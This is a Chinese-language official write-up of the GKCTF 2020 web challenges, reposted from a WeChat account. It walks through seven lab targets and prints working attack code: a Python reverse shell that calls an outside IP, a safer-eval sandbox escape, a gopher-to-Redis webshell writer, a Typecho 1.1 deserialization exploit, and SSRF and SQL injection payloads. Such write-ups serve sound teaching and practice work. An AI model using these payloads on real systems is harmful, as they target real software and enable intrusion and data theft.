GKCTF-官方WriteUp首发(WEB)

admin 2020年6月12日01:28:11评论9 views字数 7034阅读23分26秒阅读模式

 


Writetup集合

GKCTF-官方WriteUp (MISC+CRYPTO)

GKCTF-官方WriteUp (PWN+RE)

web题目
  1. CheckIn
  2. 老八小超市
  3. CVE版签到
  4. EzNode
  5. EzWeb
  6. EzTypecho
  7. Node-exe

 

0x01 CheckIn

 

一上来直接给shell,不过这里有些师傅在群里说连不上蚁剑,估计是编码器没弄好

师傅们可以自己建一个:

       GKCTF-官方WriteUp首发(WEB)

连的时候选一下就好了

       GKCTF-官方WriteUp首发(WEB)

连上shell之后发现有disabled_function,以及/readflag

       GKCTF-官方WriteUp首发(WEB)

php版本为7.3

       GKCTF-官方WriteUp首发(WEB)

直接github上有现成的exp即可:

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

上传到/tmp目录

       GKCTF-官方WriteUp首发(WEB)

在进行包含即可,?Ginkgo=include('/tmp/exp.php');

       GKCTF-官方WriteUp首发(WEB)

0x02 老八小超市

 

shopxo的模板

       GKCTF-官方WriteUp首发(WEB)

网上搜一下即可得知后台默认密码为shopxo

admin shopxo登上后台

       GKCTF-官方WriteUp首发(WEB)

可以参考一下这篇文章  http://www.nctry.com/1660.html

找到主题安装页面

       GKCTF-官方WriteUp首发(WEB)

将shell放入主题压缩包一起上传即可getshell

       GKCTF-官方WriteUp首发(WEB)

在根目录下看到flag和flag.hint以及auto.sh

       GKCTF-官方WriteUp首发(WEB)

告诉我们flag在/root下,并且flaghint中的时间每隔一分钟会变化,猜测是有类似crontab的东西,(其实一开始是没有这个auto.sh的,但是crontab在这上面死活不成功,只好加了个sh)

       GKCTF-官方WriteUp首发(WEB)

根据auto.sh找到相应的python文件

       GKCTF-官方WriteUp首发(WEB)

       GKCTF-官方WriteUp首发(WEB)

尝试直接执行会返回Permission denied

       GKCTF-官方WriteUp首发(WEB)

由此可推断该文件是root用户起的,并且这个文件可以自己编辑,那么就能直接改py文件提权了,要么直接将/root/flag写到根目录,或者加个python反弹shell

import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("174.1.118.22",2333))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])
0x03 CVE版签到

 

cve-2020-7066,ssrf

https://security-tracker.debian.org/tracker/CVE-2020-7066

可以得知存在�截断

?url=http://127.0.0.123%00www.ctfhub.com

       GKCTF-官方WriteUp首发(WEB)

0x04 EzNode

 

考点:

  • Nodejs内置函数特性
  • Nodejs库漏洞搜寻

首先读源码

app.use((req, res, next) => {  if (req.path === '/eval') {    let delay = 60 * 1000;    console.log(delay);    if (Number.isInteger(parseInt(req.query.delay))) {      delay = Math.max(delay, parseInt(req.query.delay));    }    const t = setTimeout(() => next(), delay);    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事    setTimeout(() => {      clearTimeout(t);      console.log('timeout');      try {        res.send('Timeout!');      } catch (e) {

      }    }, 1000);  } else {    next();  }});

app.post('/eval', function (req, res) {  let response = '';  if (req.body.e) {    try {      response = saferEval(req.body.e);    } catch (e) {      response = 'Wrong Wrong Wrong!!!!';    }  }  res.send(String(response));})

Nodejs文档

setTimeout 当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。非整数的 delay 会被截断为整数。

  所以直接传

?delay=2147483649

看到题目中特别给出了package.json文件,查看使用依赖库以及版本,对其中比较核心的safer-eval感到怀疑,尝试搜索(在github advisor或者npm advisor都可以找到)

然后找到了这个

利用很简单,原理就是对于内置函数没有过滤完全,导致可以获取vm外的上下文中的对象,其实这个洞在vm2里也刚刚出现,但是利用条件比较复杂,在docker里复现概率不高,不适合出题。

vm2的issue

最后payload为

import requests

print(requests.post('http://localhost:8081/eval?delay=2147483649', data={    'e': """(function () {  const process = clearImmediate.constructor("return process;")();  return process.mainModule.require("child_process").execSync("cat /flag").toString()})()"""    }).text)

0x05 EzWeb

考点

  • 内网探测
  • ssrf+redis未授权

源码中注释了?secret

       GKCTF-官方WriteUp首发(WEB)

访问可以得到当前靶机的ip

       GKCTF-官方WriteUp首发(WEB)

看到有不少师傅去开buu上的内网机做的,这里实际上是一个 web服务器 和一个redis 服务器组成的一个内网,是独立于单容器的内网,并且自动组网,所以直接开内网机并不能访问到靶机。直接用ssrf会快得多(当时出题没考虑到这个特殊性,在这里给各位师傅们谢罪...逃)

通过内网探测可以发现.11上开着web服务

       GKCTF-官方WriteUp首发(WEB)

根据提示进一步发现.11开着6379端口

       GKCTF-官方WriteUp首发(WEB)

然后可以利用gopher://协议写shell,可以用如下脚本生成exp

import urllibprotocol="gopher://"ip="173.51.38.11"port="6379"shell="nn<?php system("cat /flag");?>nn"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="rn"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmd



if __name__=="__main__":    for x in cmd:        payload += urllib.quote(redis_format(x))    print payload

       GKCTF-官方WriteUp首发(WEB)

打过去再次访问.11/shell.php即可

       GKCTF-官方WriteUp首发(WEB)

0x06 EzTypecho

PHP_SESSION_UPLOAD_PROGRESS、typecho1.1反序列化

首先找到install.php的反序列化处,228行开始

       GKCTF-官方WriteUp首发(WEB)

这里设置了一个检测是否有$_SESSION,但是题目没有使用session_start(),要想先反序列化就得先绕过这个检测,根据php文档

       GKCTF-官方WriteUp首发(WEB)

得知在文件上传时POST一个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在session中添加数据,从而绕过session检测

然后就是typecho1.1反序列化了,师傅们可以去网上搜详细的解释

poc:

<?phpclass Typecho_Feed{    //const RSS2 = 'RSS 2.0';    private $_type;    private $_items = array();    public function __construct(){    //不加就会出现database error500        $this->_type = 'RSS 2.0';        $item['author'] = new Typecho_Request();        //$item['category'] = array(new Typecho_Request());        $this->_items[0] = $item;    }}class Typecho_Request{    private $_params = array();    private $_filter = array();    function __construct(){        $this->_params["screenName"]="cat /flag";        $this->_filter[0]="system";    }}



$a = array("adapter" =>  new Typecho_Feed(),"prefix" => "test");echo base64_encode(serialize($a));?>

exp:

import requestsurl='http://26b4c383-d6a2-41b8-8ea8-5f289a4c3688.node3.buuoj.cn/install.php?finish=1'files={'file':123}headers={    #运行poc替换__typecho_config    'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjQ6InRlc3QiO30=',    'Referer':'http://26b4c383-d6a2-41b8-8ea8-5f289a4c3688.node3.buuoj.cn/install.php'}re=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})print(re.text)

       GKCTF-官方WriteUp首发(WEB)

0x07 Node-Exe

 

此题为一道exe文件的web题,如果熟悉前端的话,不难得知这是一个electron程序,之后的思路便比较明确了。即使不知道,通过安装之后寻找源文件,或者对可执行文件binwalk,也可发现其中有7zip格式的文件,可以解压缩获得源文件,故此过程不再赘述。

安装后执行程序,填写靶机地址后,用户名密码为admin直接进入。

       GKCTF-官方WriteUp首发(WEB)

点击购买后,两个按钮都是没有用的假flag,故题目flag一定是无法购买的final flag。通过抓包发现,请求除了包含基本的请求体,还有一个token。每次token请求均不同,且更改请求体后token失效,请求也无法重放,所以推断出token必然是以一定规则在本地生成的。

找到程序所在目录,确认程序为electron程序后,不难得知网页文件均打包于.resourcesapp.asar下。用node的asar工具解包:

asar extract ./app.asar ./ext/

便可得到webpack网站的源文件,查看package.json,发现页面是基于vue构建的,同时也发现了库crypto和js-md5。所以即使js源文件被webpack,也可以通过搜索methods关键词找到token生成函数的位置,同时推测token加密使用了md5和另一种加密方式。

       GKCTF-官方WriteUp首发(WEB)

此处的methods中包含了“encrypt”,“makeToken”等关键词,定位到此处应为token生成位置,单独提出对代码进行格式化,得到加密函数:

       GKCTF-官方WriteUp首发(WEB)

不难看出,加密使用了aes加密,转到调用函数寻找key和iv

makeToken: function (e) {        var i = this;        return c()(a.a.mark((function t() {            var o, r;            return a.a.wrap((function (t) {                for (;;) switch (t.prev = t.next) {                    case 0:                        return "31169fedc9a20ecf", "d96adeefaa0102a9", o = f()(n()(e)), t.next = 5, i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);                    case 5:                        return r = t.sent, t.abrupt("return", r);                    case 7:                    case "end":                        return t.stop()                }            }), t, i)        })))()    },

可以得知加密使用的key和iv,但传入加密函数的并非传入生成函数的参数e,而是经过f和n函数处理得到的结果o,所以依然需要寻找函数f和函数n。但此时已经可以根据获得的key和iv对token进行初步解密了。解密后是一串长度为32的字符,基本可以推断这是一些信息的md5加密结果。回到renderer.js,格式化整个文档后,module结构如下:

module.exports = function(e){...}([function(e){}...]);

这一格式为js的IIFE函数,这种函数在定义处便执行,其中的变量不可从外部访问。我们从他的定义函数中寻找未知的函数n

       GKCTF-官方WriteUp首发(WEB)

此函数实现的js引擎中的stringify基础功能的一部分,用于解析字符串。结合请求体,可推断处调用的函数为toString(),不过此处并不重要,我们先前已经得知使用了md5加密。

接下来分析请求函数:

buyFlag: function (e) {                    var i = this;                    return c()(a.a.mark((function t() {                        var o;                        return a.a.wrap((function (t) {                            for (;;) switch (t.prev = t.next) {                                case 0:                                    return o = {                                        id: e,                                        timestamp: Date.parse(new Date)                                    }, t.t0 = i.$http, t.t1 = i.url + "/buyflag", t.t2 = o, t.next = 6, i.makeToken(o);                                case 6:                                    t.t3 = t.sent, t.t4 = {                                        token: t.t3                                    }, t.t5 = {                                        headers: t.t4                                    }, t.t6 = function (e) {                                        i.$Modal.info({                                            title: "购买结果",                                            content: e.data[0].flag                                        })                                    }, t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);                                case 11:                                case "end":                                    return t.stop()                            }                        }), t, i)   })))()

对照得知,传入makeToken函数的是请求体。至此审计结束,得到了token是由MD5加密过的带timestamp的请求体后使用aes加密得到,之后便可自行发起请求。

根据返回的前两个flag的id分别为1和2,尝试获取id为3的flag时会提示无法购买,此时通过构建payload注入即可获得flag。

payload:

1"or(id=3)#

 

 

扫描二维码

获取更多精彩

BUGFOR

GKCTF-官方WriteUp首发(WEB)
GKCTF-官方WriteUp首发(WEB)

本文始发于微信公众号(Khan安全攻防实验室):GKCTF-官方WriteUp首发(WEB)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年6月12日01:28:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GKCTF-官方WriteUp首发(WEB)https://cn-sec.com/archives/535665.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息